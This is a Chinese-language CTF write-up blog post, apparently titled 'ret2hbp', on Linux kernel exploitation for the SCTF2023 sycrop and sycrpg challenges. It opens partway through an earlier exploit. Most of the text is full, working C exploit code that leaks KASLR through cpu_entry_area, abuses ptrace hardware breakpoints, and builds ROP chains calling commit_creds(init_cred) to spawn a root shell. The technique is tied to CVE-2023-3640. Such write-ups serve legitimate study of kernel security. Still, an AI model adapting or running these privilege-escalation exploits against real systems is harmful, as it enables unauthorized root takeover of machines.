write(pipe_fd[1], MMAP_ADDR, MMAP_SIZE);
step++;
}
break;
case 1:
puts("[+] Wait for ROP chain");
if (read(rop_pipe[0], MMAP_ADDR, MMAP_SIZE) < 0)
err_exit("read ROP chain");
puts("[+] Get ROP chain successfully");
step++;
break;
case 2:
puts("[+] Try to write ROP chain");
// path 2
struct prctl_mm_map mm_map;
mm_map.start_code = 0x1000000;
mm_map.end_code = 0x1100000;
mm_map.start_data = 0x1000000;
mm_map.end_data = 0x1100000;
mm_map.start_brk = 0x2000000;
mm_map.brk = 0x2000000;
mm_map.start_stack = 0x1000000;
mm_map.arg_start = 0x1000000;
mm_map.arg_end = 0x1000000;
mm_map.env_start = 0x1000000;
mm_map.env_end = 0x1000000;
mm_map.auxv = MMAP_ADDR;
mm_map.auxv_size = 0x140;
mm_map.exe_fd = -2;
prctl(PR_SET_MM, PR_SET_MM_MAP, &mm_map, sizeof(struct prctl_mm_map), 0);
break;
default:
break;
}
}
}

int main()
{
size_t leak;
char data[0x40] = {0};

save_status();

dev_fd = open("/dev/vuln",O_RDONLY);
if (dev_fd < 0)
{
err_exit("open device failed!");
}

mmap_addr = mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
if(!mmap_addr)
{
err_exit("mmap failed!");
}


pipe(pipe_fd);
pipe(rop_pipe);

pid_t pid1, pid2;

puts("[+] fork a process to trigger hbp");
pid1 = fork();
if (!pid1)
{
hack_hbp();
exit(0);

}else if (pid1 < 0){
err_exit("fork pid1 failed!");
}else{
waitpid(pid1, NULL ,NULL);
}

pid2 = fork();
if (!pid2)
{
change_rcx();
exit(0);

}else if (pid2 < 0){
err_exit("fork pid1 failed!");
}

create_hbp(pid1, MMAP_ADDR);
struct pollfd fds = { .fd = pipe_fd[0], .events = POLLIN };
while (1)
{
if (ptrace(PTRACE_CONT, pid1, NULL, NULL))
err_exit("ptrace PTRACE_CONT");
waitpid(pid1, NULL, NULL);

int res = poll(&fds, 1, 0);
if (res > 0 && (fds.revents & POLLIN))
{
read(pipe_fd[0], MMAP_ADDR, MMAP_SIZE);
break;
}
}

// waitpid(pid2, NULL, NULL);

print_binary(MMAP_ADDR+sizeof(struct utsname), 0x100);
memcpy(&canary, MMAP_ADDR+sizeof(struct utsname), 8);
memcpy(&leak, MMAP_ADDR+sizeof(struct utsname)+0X20, 8);
kernel_offset = leak - 0xffffffff810e0b32;
printf("[*] canary is 0x%lx\n", canary);
printf("[*] leak is 0x%lx\n", leak);
printf("[*] kernel_offset is 0x%lx\n", kernel_offset);

pop_rdi += kernel_offset;
commit_creds += kernel_offset;
init_cred += kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset;


memset(MMAP_ADDR, 0 , MMAP_SIZE);
size_t *rop_chain = mmap_addr;
int idx;
idx = 0x30;
rop_chain[idx] = canary;
idx += 7;
rop_chain[idx++] = pop_rdi;
rop_chain[idx++] = init_cred;
rop_chain[idx++] = commit_creds;
rop_chain[idx++] = swapgs_restore_regs_and_return_to_usermode;
rop_chain[idx++] = 0;
rop_chain[idx++] = 0;
rop_chain[idx++] = (size_t)get_root_shell;
rop_chain[idx++] = user_cs;
rop_chain[idx++] = user_rflags;
rop_chain[idx++] = user_sp;
rop_chain[idx++] = user_ss;


write(rop_pipe[1], rop_chain, MMAP_SIZE);

while (1)
{
if (ptrace(PTRACE_CONT, pid1, NULL, NULL))
err_exit("ptrace PTRACE_CONT");
waitpid(pid1, NULL, NULL);
}
}

SCTF2023-sycrop

分析

0x5555

任意地址读8字节

0x6666

经过调试发现就是call rdx

利用

通过任意地址读一个cpu_entry_area中的一个data泄露kalsr,然后设置硬件断点,布置好寄存器后触发硬件断点,跳转到寄存器在cpu_entry_areaDB stack处执行rop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <linux/keyctl.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <stddef.h>
#include <signal.h>

int dev_fd;
int status;
pid_t hbp_pid;
char buf[0x10];
size_t kernel_offset;
size_t kernel_base = 0xffffffff81000000;
size_t syc_regs_37 = 0xffffffff81eec205;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t leak;
size_t pop_rdi = 0xffffffff81002c9d;
size_t commit_creds = 0xffffffff810bb5b0;
size_t init_cred = 0xffffffff82a4cbf8;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff82000ed0 + 49;

// 0xffffffff811ff188 : add rsp, 0x68 ; jmp 0xffffffff82203340
// 0xffffffff81002c9d: pop rdi; ret;
// [+] commit_creds--->0xffffffff810bb5b0
// [+] init_cred--->0xffffffff82a4cbf8
// [+] swapgs_restore_regs_and_return_to_usermode--->0xffffffff82000ed0

void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void bind_cpu(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
size_t get_root_func = (size_t)get_root_shell;

void create_hbp(void* addr)
{
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
printf("Could not create hbp! ptrace dr0: %m\n");
kill(hbp_pid,9);
exit(1);
}
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
printf("Could not create hbp! ptrace dr7: %m\n");
kill(hbp_pid,9);
exit(1);
}
}


int main()
{

bind_cpu(0);
save_status();

dev_fd = open("/dev/seven",O_RDONLY);
if (dev_fd < 0)
{
err_exit("open device failed!");
}

leak = ioctl(dev_fd, 0x5555, 0xfffffe0000002f38);
printf("[*] leak is 0x%lx\n",leak);
kernel_offset = leak - syc_regs_37;
printf("[*] kernel_offset is 0x%lx\n",kernel_offset);

commit_creds += kernel_offset;
init_cred += kernel_offset;
pop_rdi += kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset;

hbp_pid = fork();
if (hbp_pid == 0)
{
ptrace(PTRACE_TRACEME,0,NULL,NULL);
raise(SIGSTOP);
__asm__(
"mov r15, pop_rdi;"
"mov r14, init_cred;"
"mov r13, commit_creds;"
"mov r12, swapgs_restore_regs_and_return_to_usermode;"
"mov rbp, 0;"
"mov rbx, 0;"
"mov r11, get_root_func;"
"mov r10, user_cs;"
"mov r9, user_rflags;"
"mov r8, user_sp;"
"mov rax, user_ss;"
"mov rcx, 0xdeadbeef;"
"mov rdx, 0xdeadbeef;"
"mov rsi, buf;"
"mov rdi, [rsi];"
);
exit(1);
}

waitpid(hbp_pid,&status,0);
create_hbp(buf);

ptrace(PTRACE_CONT,hbp_pid,0,0);
waitpid(hbp_pid,&status,0);

ptrace(PTRACE_CONT,hbp_pid,0,0);
waitpid(hbp_pid,&status,0);

ioctl(dev_fd,0x6666,0xfffffe0000010f58);
}

SCTF2023-sycrpg

PS:启动脚本有点bug,建议手动指定多核

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 oops=panic panic=1 quiet kaslr" \
-cpu kvm64,+smep,+smap\
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-no-reboot \
-smp 2 \
-s

分析

满足条件后即可选定一个任意地址(选了之后就固定了)写一字节

那还是hack rcx,没什么区别

FINAL EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <linux/keyctl.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <stddef.h>
#include <signal.h>
#include <stdint.h>
#include <sys/utsname.h>
#include <syscall.h>
#include <sys/prctl.h>

#define CPU_ENTRY_AREA_DB_STACK_RCX_ADDR 0xfffffe0000010fb0
#define MMAP_ADDR 0x1234000
#define MMAP_SIZE 0x2000

// [+] commit_creds--->0xffffffff810eeec0
// [+] init_cred--->0xffffffff82e8abe0
// [+] swapgs_restore_regs_and_return_to_usermode--->0xffffffff81e010b0

size_t user_cs, user_ss, user_rflags, user_sp;
int dev_fd;
int pipe_fd[2], rop_pipe[2];
size_t canary;
size_t kernel_offset;
size_t leak;
size_t commit_creds = 0xffffffff810eeec0;
size_t init_cred = 0xffffffff82e8abe0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81e010b0;
size_t pop_rdi = 0xffffffff810aaa80;

void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void bind_cpu(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

void print_binary(char* buf, int length){
printf("---------------------------------------------------------------------------\n");
printf("Address info starting in %p:\n", buf);
int index = 0;
char output_buffer[80];
memset(output_buffer, '\0', 80);
memset(output_buffer, ' ', 0x10);
for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){
char temp_buffer[0x10];
memset(temp_buffer, '\0', 0x10);
sprintf(temp_buffer, "%#5x", index);
strcpy(output_buffer, temp_buffer);
output_buffer[5] = ' ';
output_buffer[6] = '|';
output_buffer[7] = ' ';
for(int j=0; j<16; j++){
if(index+j >= length)
sprintf(output_buffer+8+3*j, " ");
else{
sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
if(!isprint(buf[index+j]))
output_buffer[58+j] = '.';
else
output_buffer[58+j] = buf[index+j];
}
}
output_buffer[55] = ' ';
output_buffer[56] = '|';
output_buffer[57] = ' ';
printf("%s\n", output_buffer);
memset(output_buffer+58, '\0', 16);
index += 16;
}
printf("---------------------------------------------------------------------------\n");
}

void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}

void create_hbp(pid_t pid, void* addr)
{
if(ptrace(PTRACE_POKEUSER,pid, offsetof(struct user, u_debugreg), addr) == -1) {
printf("Could not create hbp! ptrace dr0: %m\n");
kill(pid,9);
exit(1);
}
if(ptrace(PTRACE_POKEUSER,pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
printf("Could not create hbp! ptrace dr7: %m\n");
kill(pid,9);
exit(1);
}
}

void arb_write(uint8_t value)
{
ioctl(dev_fd , 0x7204 , value);
}

void change_rcx()
{
bind_cpu(1);
puts("[+] write cpu_entry_area DB_STACK -> rcx");
while (1)
{
arb_write(0x10);
}
}

void hack_hbp()
{
bind_cpu(0);
ptrace(PTRACE_TRACEME, 0, NULL, NULL);

struct utsname* uts = (struct utsname*)MMAP_ADDR;
int oob_idx = (sizeof(struct utsname) + sizeof(uint64_t) - 1) / sizeof(uint64_t);

int step = 0;

while (1)
{
raise(SIGSTOP);
switch (step)
{
case 0:
uname(uts);
if (((uint64_t*)uts)[oob_idx])
{
puts("[+] OOB Read Stack Data Successfully");
write(pipe_fd[1], MMAP_ADDR, MMAP_SIZE);
step++;
}
break;
case 1:
puts("[+] Wait for ROP chain");
if (read(rop_pipe[0], MMAP_ADDR, MMAP_SIZE) < 0)
err_exit("read ROP chain");
puts("[+] Get ROP chain successfully");
step++;
break;
case 2:
puts("[+] Try to write ROP chain");
// path 2
struct prctl_mm_map mm_map;
mm_map.start_code = 0x1000000;
mm_map.end_code = 0x1100000;
mm_map.start_data = 0x1000000;
mm_map.end_data = 0x1100000;
mm_map.start_brk = 0x2000000;
mm_map.brk = 0x2000000;
mm_map.start_stack = 0x1000000;
mm_map.arg_start = 0x1000000;
mm_map.arg_end = 0x1000000;
mm_map.env_start = 0x1000000;
mm_map.env_end = 0x1000000;
mm_map.auxv = MMAP_ADDR;
mm_map.auxv_size = 0x140;
mm_map.exe_fd = -2;
prctl(PR_SET_MM, PR_SET_MM_MAP, &mm_map, sizeof(struct prctl_mm_map), 0);
break;
default:
break;
}
}
}

void init()
{
ioctl(dev_fd, 0x7201, CPU_ENTRY_AREA_DB_STACK_RCX_ADDR);
for (int i = 0; i < 5; i++)
{
ioctl(dev_fd, 0x7202, 2);
}

for (int i = 0; i < 11; i++)
{
ioctl(dev_fd, 0x7202, 1);
}

ioctl(dev_fd, 0x7203, 0);
ioctl(dev_fd, 0x7203, 1);
ioctl(dev_fd, 0x7203, 2);
}


int main()
{
save_status();

dev_fd = open("/dev/seven",O_RDONLY);
if (dev_fd < 0)
err_exit("open device failed!");

init();

mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);

pipe(pipe_fd);
pipe(rop_pipe);

pid_t pid1, pid2;

puts("[+] fork a process to trigger hbp");
pid1 = fork();
if (!pid1)
{
hack_hbp();
exit(0);

}else if (pid1 < 0){
err_exit("fork pid1 failed!");
}else{
waitpid(pid1, NULL ,NULL);
}

pid2 = fork();
if (!pid2)
{
change_rcx();
exit(0);

}else if (pid2 < 0){
err_exit("fork pid1 failed!");
}

create_hbp(pid1, MMAP_ADDR);
struct pollfd fds = { .fd = pipe_fd[0], .events = POLLIN };
while (1)
{
if (ptrace(PTRACE_CONT, pid1, NULL, NULL))
err_exit("ptrace PTRACE_CONT");
waitpid(pid1, NULL, NULL);

int res = poll(&fds, 1, 0);
if (res > 0 && (fds.revents & POLLIN))
{
read(pipe_fd[0], MMAP_ADDR, MMAP_SIZE);
break;
}
}

// waitpid(pid2, NULL, NULL);

print_binary(MMAP_ADDR+sizeof(struct utsname), 0x100);
memcpy(&canary, MMAP_ADDR+sizeof(struct utsname), 8);
memcpy(&leak, MMAP_ADDR+sizeof(struct utsname) + 0x20, 8);
printf("[*] canary is 0x%lx\n", canary);
printf("[*] leak is 0x%lx\n", leak);
kernel_offset = leak - 0xffffffff810d7182;
printf("[*] kernel offset is 0x%lx\n", kernel_offset);

pop_rdi += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset;

memset(MMAP_ADDR, 0 , MMAP_SIZE);
size_t *rop_chain = MMAP_ADDR;
int canary_idx = 0x30;
int idx = 0x37;

rop_chain[canary_idx] = canary;
rop_chain[idx++] = pop_rdi;
rop_chain[idx++] = init_cred;
rop_chain[idx++] = commit_creds;
rop_chain[idx++] = swapgs_restore_regs_and_return_to_usermode + 54;
rop_chain[idx++] = 0;
rop_chain[idx++] = 0;
rop_chain[idx++] = (size_t)get_root_shell;
rop_chain[idx++] = user_cs;
rop_chain[idx++] = user_rflags;
rop_chain[idx++] = user_sp;
rop_chain[idx++] = user_ss;


write(rop_pipe[1], rop_chain, MMAP_SIZE);

while (1)
{
if (ptrace(PTRACE_CONT, pid1, NULL, NULL))
err_exit("ptrace PTRACE_CONT");
waitpid(pid1, NULL, NULL);
}


// 0xffffc90000247c00
// canary :0xffffc90000247db8
// ret_addr = 0xffffc90000247db8

}

refer

CVE-2023-3640/README.md at main · pray77/CVE-2023-3640 (github.com)

一种借助硬件断点的提权思路分析与演示 (veritas501.github.io)

veritas501/hbp_attack_demo: linux kernel LPE using hw_breakpoint attack tech demo (github.com)

https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html


ret2hbp
http://example.com/2024/01/29/ret2hbp/
作者
korey0sh1
发布于
2024年1月29日
许可协议